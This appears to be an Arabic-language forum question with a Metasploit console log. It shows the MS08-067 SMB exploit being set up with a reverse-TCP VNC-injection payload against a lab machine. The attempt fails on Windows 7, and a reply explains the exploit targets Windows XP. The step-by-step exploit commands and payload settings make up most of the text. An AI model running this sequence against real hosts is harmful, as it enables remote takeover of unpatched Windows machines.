|
Show
exploits
msf
> use windows/smb/ms08_067_netapi
msf
exploit(ms08_067_netapi) > show options
Module
options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required
Description
---- --------------- --------
-----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit
target:
Id Name
-- ----
0 Automatic Targeting
msf
exploit(ms08_067_netapi) > set rhost 192.168.1.67
rhost
=> 192.168.1.67
msf
exploit(ms08_067_netapi) > show payloads
msf
exploit(ms08_067_netapi) > set payload windows/vncinject/reverse_tcp
payload
=> windows/vncinject/reverse_tcp
msf
exploit(ms08_067_netapi) > show options
Module
options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required
Description
---- --------------- --------
-----------
RHOST 192.168.1.67 yes
The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload
options (windows/vncinject/reverse_tcp):
Name Current Setting Required
Description
---- --------------- --------
-----------
AUTOVNC true
yes Automatically launch VNC viewer if
present
EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST yes The listen address
LPORT 4444 yes The listen port
VNCHOST 127.0.0.1 yes The local host to use for the VNC proxy
VNCPORT 5900 yes The local port to use for the VNC proxy
Exploit
target:
Id Name
-- ----
0 Automatic Targeting
msf
exploit(ms08_067_netapi) > set lhost 192.168.1.66
lhost
=> 192.168.1.66
msf
exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 192.168.1.66:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows 7 Ultimate - (Build 7600)
- lang:Unknown
[*] We could not detect the language pack, defaulting
to English
[-] Exploit exception: No matching target
[*] Exploit completed, but no session was
created.
لماذا لم يتم الاختراق؟؟ علما ان الجهاز الذي اجري عليه التجربة مغلق الفايروول !!
 |
أسئلة وأجوبة 
على حسب علمي فان هذا الاستغلال يشتغل فقط مع ال
Windows XP
أما على ال 7 فلن يجدي نفعا